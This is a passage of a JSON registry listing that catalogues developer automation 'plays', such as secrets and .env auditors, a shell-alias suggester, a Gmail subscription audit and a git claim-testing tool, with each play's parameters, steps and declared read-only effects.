needed.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-devtools","job-secrets-scan","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-devtools","author":"playbookacademy","version":"1.0.1","published_at":"2026-09-04T09:11:25.539268+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5958,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["scan_secrets","generate_audit","analyze_exposure"]},"parameters":[{"name":"directory","type":"string","required":true,"description":"Path to source directory to scan","example":"./src"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6e323b90dd549391308ee877c0eb8227d9e5f435b4267931bba9293313c515e7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/playbookacademy/env-diff@1.1.1","reference":"playbookacademy/env-diff@1.1.1","uri":"https://play.modiqo.ai/playbookacademy/env-diff@1.1.1","manifest_uri":"https://play.modiqo.ai/playbookacademy/env-diff@1.1.1","name":"env-diff","title":"env-diff","description":".env drift auditor. Scans for .env files and templates, compares keys, finds missing/extra keys, checks for potential secret leaks, and returns a deterministic verdict (CLEAN / DRIFT / LEAK). Read-only, no credentials.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-devtools","job-env-drift","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-devtools","author":"playbookacademy","version":"1.1.1","published_at":"2026-09-04T09:10:06.964169+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6933,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":5,"names":["parse_keys","judge_drift","check_secrets","compare_drift","scan_env_files"]},"parameters":[{"name":"src","type":"string","required":false,"default":".","description":"Path to the project root to scan","example":"."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e5d633be1383def26974b4b31d07d3b46ff0050a4162a2604ef4b03c85fa8d4f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/playbookacademy/readme-health@1.1.1","reference":"playbookacademy/readme-health@1.1.1","uri":"https://play.modiqo.ai/playbookacademy/readme-health@1.1.1","manifest_uri":"https://play.modiqo.ai/playbookacademy/readme-health@1.1.1","name":"readme-health","title":"readme-health","description":"README completeness auditor. Scans for README files, checks standard section coverage (Installation, Usage, License, etc.), link quality, and code block formatting. Returns a deterministic verdict (HEALTHY / NEEDS_WORK / INCOMPLETE) with prioritized recommendations. Read-only, no credentials.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-devtools","job-readme-audit","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-devtools","author":"playbookacademy","version":"1.1.1","published_at":"2026-09-04T09:09:41.571564+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7115,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":5,"names":["check_links","scan_readme","judge_health","check_sections","check_code_blocks"]},"parameters":[{"name":"src","type":"string","required":false,"default":".","description":"Path to the project root to scan","example":"."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9b151fefc4afdf0553dd13b964729907d2c848c0ede5d6fe08ec660978bc2596","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rwnalds/retyped@0.1.3","reference":"rwnalds/retyped@0.1.3","uri":"https://play.modiqo.ai/rwnalds/retyped@0.1.3","manifest_uri":"https://play.modiqo.ai/rwnalds/retyped@0.1.3","name":"retyped","title":"retyped","description":"Finds the commands you type most often in your terminal - the long ones you retype again and again, every day - and tells you which of them are actually worth turning into a short alias. If you have ever thought I should really make a shortcut for this, this is the play that decides which shortcuts are actually worth making and writes the alias lines for you. Your shell has been keeping a diary of every command you type and nobody ever reads it. This reads it and tells you which commands are actually worth a shortcut, ranked by the keystrokes an alias would save rather than by how often you type them. That distinction is the whole play. Frequency is the wrong metric and every tool that suggests aliases from history gets it wrong - on a real 1000-entry history the naive version says to alias a 10-character command typed 77 times, which saves nothing because it is already short, while the real answer is a 62-character command typed 30 times worth 1740 keystrokes. Three more rules it enforces. It never proposes a name that shadows something real - every candidate is checked against your PATH, your shell builtins and the aliases already defined in your rc files, and when a name is taken or unusable it derives a different one instead of appending a digit, because piss2 and cd2 are not fixes. It reports commands you edited and immediately re-ran as exactly that, adjacency and not failure, because shell history records no exit codes and usually no timestamps, so calling it a failed command would be a guess dressed as a fact. And it redacts credential-shaped text before printing and never offers such a command as an alias however often you typed it, including percent-encoded forms - a phone number written %2B371 in a curl body is still a phone number, and checking only the raw text missed 17 of 18 on the machine this was built on. Reads zsh, bash and fish; a shell you do not use is reported as not used rather than as empty. Zero credentials, reads only, writes only its own report. For hunting the secrets themselves rather than avoiding them, dotisacat/shell-history-leak-scan is the play that does that.","owner":{"kind":"user","slug":"rwnalds"},"registry_organization":"rwnalds","tags":["shell","productivity","aliases","habits"],"primary_domain":"domain-uncategorized","author":"rwnalds","version":"0.1.3","published_at":"2026-09-04T09:03:33.642104+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":11537,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":4,"names":["read_zsh_history","read_bash_history","read_fish_history","rank_by_keystrokes_saved"]},"parameters":[{"name":"history_path","type":"string","required":false,"default":"","description":"Point at one specific history file. Empty means look in the standard places for each shell."},{"name":"min_count","type":"string","required":false,"default":"3","description":"How many times a command must appear before it is worth a shortcut. Twice is a coincidence."},{"name":"min_chars","type":"string","required":false,"default":"20","description":"How long a command must be before an alias saves anything. Below this the alias is barely shorter than the command."},{"name":"top","type":"string","required":false,"default":"15","description":"How many suggestions to print. The rest are still counted and the total is reported."},{"name":"shell","type":"string","required":false,"default":"zsh","description":"Which shell the paste-ready alias block is written for - zsh, bash or fish."},{"name":"out","type":"string","required":false,"default":"~/retyped.md","description":"Path for the report. Defaults into your home directory so a bare run leaves it somewhere you will actually find."},{"name":"out_dir","type":"string","required":false,"default":".retyped","description":"Directory for the parsed per-shell history, relative to where you run the play."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2633997d1a47b06627105db7d839f38529ffeace327ad9207701f24f1f6b08ab","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/balajithukuntala/docs-change-monitor@0.0.5","reference":"balajithukuntala/docs-change-monitor@0.0.5","uri":"https://play.modiqo.ai/balajithukuntala/docs-change-monitor@0.0.5","manifest_uri":"https://play.modiqo.ai/balajithukuntala/docs-change-monitor@0.0.5","name":"docs-change-monitor","title":"docs-change-monitor","description":"Writes snapshots + a run log to ~/.rote/docs-change-monitor/. Reports what changed in public docs and changelogs since the last run.","owner":{"kind":"user","slug":"balajithukuntala"},"registry_organization":"balajithukuntala","tags":["typescript","docs","changelog","monitor"],"primary_domain":"domain-uncategorized","author":"balajithukuntala","version":"0.0.5","published_at":"2026-09-04T06:00:17.361877+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8548,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["monitor","fault_gate"]},"parameters":[{"name":"pages","type":"string","required":false,"default":"","description":"Comma-separated list of public doc/changelog URLs to monitor. Defaults to the built-in watch list when omitted, so scheduled runs need no arguments."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cc7b056ff6410da2054c53dcd40c08efba6cb5d9d911aa58ce44e795510f7d6e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/github-multi-repo-stale-prs@0.0.1","reference":"aaryanp/github-multi-repo-stale-prs@0.0.1","uri":"https://play.modiqo.ai/aaryanp/github-multi-repo-stale-prs@0.0.1","manifest_uri":"https://play.modiqo.ai/aaryanp/github-multi-repo-stale-prs@0.0.1","name":"github-multi-repo-stale-prs","title":"github-multi-repo-stale-prs","description":"Combined summary of pull requests open longer than N days across every repository owned by a GitHub user/org","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","github","pull-requests","stale-prs","multi-repo","explore","check","once","give","one"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.1","published_at":"2026-09-03T14:34:12.049405+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3538,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["list_repos","auth_github","list_open_prs"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub user or organization login whose repositories to scan"},{"name":"days","type":"string","required":false,"default":"14","description":"Minimum number of days a pull request must have been open to be included"}],"execution":{"adapters":[{"id":"aaryanp/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2bfa96de00fa3f5875ca5f8e2d03b2c3bdbe5f8b3dd0c2b378881f5d4af48711","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":2,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":10,"for_each_steps":1,"complexity":3,"apis":[{"adapter":"github","steps":3,"methods":["pulls/list","repos/list-for-user"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"aaryanp/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":{"api_tokens":204553,"context_tokens":22781,"exploration_ms":28713,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/pathan-security/api-ssl-health-prober@1.0.0","reference":"pathan-security/api-ssl-health-prober@1.0.0","uri":"https://play.modiqo.ai/pathan-security/api-ssl-health-prober@1.0.0","manifest_uri":"https://play.modiqo.ai/pathan-security/api-ssl-health-prober@1.0.0","name":"api-ssl-health-prober","title":"api-ssl-health-prober","description":"API and SSL Health Prober: read-only probe of HTTP/HTTPS endpoints grading PASS/WARN/FAIL for SSL cert expiry/days, HTTP latency, status + redirect chain, and HSTS/X-Content-Type-Options/CORS security headers.","owner":{"kind":"org","slug":"pathan-security"},"registry_organization":"pathan-security","tags":["health","ssl","api","security"],"primary_domain":"domain-uncategorized","author":"Pathananash56","version":"1.0.0","published_at":"2026-09-03T10:04:36.809514+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":14943,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":1,"names":["probe_endpoints"]},"parameters":[{"name":"urls","type":"string","required":true,"description":"Comma-separated list of HTTP/HTTPS URLs to probe, e.g. https://api.github.com,https://example.com"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:682cb6807f9628ef9a55097f5ed164cbfdc4e4e449f846e4548ab6e0abe3ac59","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/srinjoy356/playoffs-pulse@0.1.1","reference":"srinjoy356/playoffs-pulse@0.1.1","uri":"https://play.modiqo.ai/srinjoy356/playoffs-pulse@0.1.1","manifest_uri":"https://play.modiqo.ai/srinjoy356/playoffs-pulse@0.1.1","name":"playoffs-pulse","title":"playoffs-pulse","description":"Leaderboard for the Rote Playoffs hackathon.","owner":{"kind":"user","slug":"srinjoy356"},"registry_organization":"srinjoy356","tags":[],"primary_domain":"domain-uncategorized","author":"srinjoy356","version":"0.1.1","published_at":"2026-09-03T09:42:00.183437+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":1858,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["curl","python3"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:073005e112b1333138ff469cb402782fdff0a574857334b0d5bd54a318d7d1b9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/shashankinguva/gmail-subscription-audit@0.0.3","reference":"shashankinguva/gmail-subscription-audit@0.0.3","uri":"https://play.modiqo.ai/shashankinguva/gmail-subscription-audit@0.0.3","manifest_uri":"https://play.modiqo.ai/shashankinguva/gmail-subscription-audit@0.0.3","name":"gmail-subscription-audit","title":"gmail-subscription-audit","description":"Scan Gmail receipts/renewal emails over a lookback window and produce a table of recurring subscriptions: vendor, amount, cadence, last charged, and unused-60+-days flag.","owner":{"kind":"user","slug":"shashankinguva"},"registry_organization":"shashankinguva","tags":["typescript","gmail-api","subscriptions","finance"],"primary_domain":"domain-uncategorized","author":"Shashank Inguva","version":"0.0.3","published_at":"2026-09-03T08:03:08.975859+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7356,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":5,"names":["get_profile","get_messages","list_messages","auth_gmail_api","normalize_messages"]},"parameters":[{"name":"search_query","type":"string","required":false,"default":"(receipt OR invoice OR \"payment confirmation\" OR subscription OR renewal OR \"auto-renew\" OR \"has been charged\" OR \"your payment\" OR \"order confirmation\" OR \"payment received\" OR \"thank you for your purchase\" OR \"your invoice\" OR \"your receipt\" OR \"membership renewal\" OR \"next billing\" OR \"amount charged\" OR billing OR \"your statement\" OR \"renewed your\" OR \"trial ending\" OR \"your subscription\")","description":"Gmail search query (without the date filter) matching candidate receipt/renewal emails."},{"name":"after_date","type":"string","required":true,"description":"Gmail date filter cutoff in YYYY/MM/DD format, e.g. 90 days before today. Messages before this date are excluded."},{"name":"max_results","type":"string","required":false,"default":"200","description":"Maximum number of candidate messages to list (Gmail API maxResults, as a string)."},{"name":"gmail_account_scope","type":"string","required":false,"default":"","description":"Gmail account to scope results to; excludes receipts whose body explicitly names a different account/email (e.g. a family member's subscription billed through your inbox). Leave blank (default) to auto-scope to the currently authenticated Gmail account. Pass \"none\" to disable scoping and include all accounts."}],"execution":{"adapters":[{"id":"shashankinguva/gmail-api","name":"gmail-api","version":null,"credential_status":"required"},{"id":"gmail-api","name":"gmail-api","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:47bf143c2f745723ef9a4c061683958fcfb154eda526fa13df91236635fa87fa","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":3,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":4,"width":2,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"gmail-api","steps":4,"methods":["gmail.users.getProfile","gmail.users.messages.get","gmail.users.messages.list"],"display_name":"gmail-api","host":"gmail.googleapis.com","kind":"rest","tools":66,"fingerprint":"mcp_PhLfwGhVQruqiYd4xenSWFzWQDa","source":"shashankinguva/gmail-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":66},"cost":{"api_tokens":69873,"context_tokens":7171,"exploration_ms":2662,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/rajat-yadav/context-compaction-optimizer@0.0.3","reference":"rajat-yadav/context-compaction-optimizer@0.0.3","uri":"https://play.modiqo.ai/rajat-yadav/context-compaction-optimizer@0.0.3","manifest_uri":"https://play.modiqo.ai/rajat-yadav/context-compaction-optimizer@0.0.3","name":"context-compaction-optimizer","title":"context-compaction-optimizer","description":"Analyze context load, predict compaction, assess information loss risk, recommend offloads","owner":{"kind":"org","slug":"rajat-yadav"},"registry_organization":"rajat-yadav","tags":["compaction","context","tokens","optimization","llm"],"primary_domain":"domain-uncategorized","author":"rajat-yadav","version":"0.0.3","published_at":"2026-09-02T19:19:39.828367+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":220254,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":1,"names":["compaction_check"]},"parameters":[{"name":"harness","type":"string","required":false,"default":"hermes","description":"AI harness (claude-code, hermes, opencode)"},{"name":"conversation_file","type":"string","required":false,"description":"Path to conversation JSON file (optional)"},{"name":"report_log","type":"string","required":false,"default":"~/.rote/llm-health/compaction-reports.jsonl","description":"Path to compaction report log"},{"name":"model","type":"string","required":false,"default":"gpt-4","description":"Model name for pricing (gpt-4, claude-sonnet-4-20250514, etc.)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d56f919331a6c70a265b1153a7dd02d511ede9b03b752638df97ba3a3510f1d2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/harshitborana75/panel-collision-check@0.0.1","reference":"harshitborana75/panel-collision-check@0.0.1","uri":"https://play.modiqo.ai/harshitborana75/panel-collision-check@0.0.1","manifest_uri":"https://play.modiqo.ai/harshitborana75/panel-collision-check@0.0.1","name":"panel-collision-check","title":"panel-collision-check","description":"Detect Greenhouse interview panels scheduled during a panelist's active on-call rotation, release freeze window, or incident load — then propose reschedule alternatives without editing calendars.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","greenhouse","pagerduty","github","scheduling","collisions"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.1","published_at":"2026-09-02T17:56:54.276401+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5373,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":1,"names":["calc_init"]},"parameters":[{"name":"time_window","type":"string","required":false,"default":"2026-09-01 to 2026-09-14","description":"Time window under review (YYYY-MM-DD to YYYY-MM-DD or ISO range)"},{"name":"panels","type":"string","required":false,"description":"JSON array of Greenhouse interview panels e.g. '[{\"id\":\"panel_101\",\"interviewer\":\"alice@co.com\",\"start\":\"2026-09-03T14:00:00Z\",\"end\":\"2026-09-03T15:00:00Z\",\"status\":\"scheduled\"}]'"},{"name":"oncall_shifts","type":"string","required":false,"description":"JSON array of PagerDuty on-call shifts e.g. '[{\"user\":\"alice@co.com\",\"role\":\"primary\",\"start\":\"2026-09-03T08:00:00Z\",\"end\":\"2026-09-03T20:00:00Z\"}]'"},{"name":"release_freeze_windows","type":"string","required":false,"description":"JSON array of GitHub deployment freeze windows e.g. '[{\"service\":\"api-gateway\",\"owner\":\"alice@co.com\",\"start\":\"2026-09-03T12:00:00Z\",\"end\":\"2026-09-03T18:00:00Z\"}]'"},{"name":"incidents","type":"string","required":false,"description":"JSON array of PagerDuty incidents e.g. '[{\"id\":\"inc_301\",\"responder\":\"bob@co.com\",\"status\":\"resolved\",\"resolved_at\":\"2026-09-03T10:00:00Z\"}]'"},{"name":"lookback_hours","type":"string","required":false,"default":"12","description":"Incident load and release freeze proximity window in hours"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a1caddd367d18d19bc7242476adbb78145b6ddab561838cb8921b3835e6415e2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"echo","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/balajithukuntala/find-dirty-git-repos@0.1.0","reference":"balajithukuntala/find-dirty-git-repos@0.1.0","uri":"https://play.modiqo.ai/balajithukuntala/find-dirty-git-repos@0.1.0","manifest_uri":"https://play.modiqo.ai/balajithukuntala/find-dirty-git-repos@0.1.0","name":"find-dirty-git-repos","title":"find-dirty-git-repos","description":"Find git repositories under a base folder that have uncommitted changes","owner":{"kind":"user","slug":"balajithukuntala"},"registry_organization":"balajithukuntala","tags":[],"primary_domain":"domain-uncategorized","author":"Balajithukuntala","version":"0.1.0","published_at":"2026-09-02T17:09:21.617644+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3029,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["find","check_repo_status"]},"parameters":[{"name":"base_folder","type":"string","required":true,"description":"Absolute path to scan for git repositories"},{"name":"max_depth","type":"string","required":false,"default":"5","description":"Max directory depth passed to find -maxdepth when locating .git directories"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7fe6f2c6106d6df1c20dbe79890176ad6d00eb5e0896ac00cd77c03c1208ce39","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":1,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"find","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/karan68/claim-trial@0.1.0","reference":"karan68/claim-trial@0.1.0","uri":"https://play.modiqo.ai/karan68/claim-trial@0.1.0","manifest_uri":"https://play.modiqo.ai/karan68/claim-trial@0.1.0","name":"claim-trial","title":"claim-trial","description":"Tests one technical claim at an exact local Git revision. Runs a baseline and hostile probe in separate disposable worktrees, returns SUPPORTED, DISPROVEN, or INCONCLUSIVE with bounded evidence, and verifies the source checkout stayed unchanged. Run with no arguments for the bundled cancellation-lock demonstration.","owner":{"kind":"user","slug":"karan68"},"registry_organization":"karan68","tags":["effect-local-process","technical-verification","falsification","git","testing"],"primary_domain":"domain-uncategorized","author":"Karan Yadav","version":"0.1.0","published_at":"2026-09-02T15:54:14.52809+00:00","visibility":"public","quality_score":0.875,"size_bytes":11835,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":7,"names":["hostile_probe","verify_source","baseline_probe","cleanup_target","finalize_trial","prepare_target","adjudicate_claim"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"demo","description":"demo runs the bundled inherited-lock counterexample; custom tests your repository"},{"name":"repo_path","type":"string","required":false,"default":"","description":"Absolute local Git repository path; required only in custom mode"},{"name":"ref","type":"string","required":false,"default":"HEAD","description":"Local Git commit, tag, or branch resolved to one exact commit"},{"name":"claim","type":"string","required":false,"default":"Cancellation releases the operation lock.","description":"Bounded positive claim tested by the hostile probe"},{"name":"baseline_command","type":"string","required":false,"default":"","description":"Trusted non-interactive shell command for custom mode; final stdout line must follow the probe protocol"},{"name":"hostile_command","type":"string","required":false,"default":"","description":"Trusted non-interactive hostile probe for custom mode; final stdout line must follow the probe protocol"},{"name":"timeout_seconds","type":"integer","required":false,"default":"10","description":"Per-probe timeout from 1 through 120 seconds"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d74533b279ae9afdeccdd2d91f35b95af95ad5ccc45211b27092808a4bdeb988","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":2,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pooja-bhavani/pr-audit-draft@1.0.1","reference":"pooja-bhavani/pr-audit-draft@1.0.1","uri":"https://play.modiqo.ai/pooja-bhavani/pr-audit-draft@1.0.1","manifest_uri":"https://play.modiqo.ai/pooja-bhavani/pr-audit-draft@1.0.1","name":"pr-audit-draft","title":"pr-audit-draft","description":"Run a PR auditor, collect git metadata, and generate a polished PR description draft with audit report, security review, diff statistics, and test 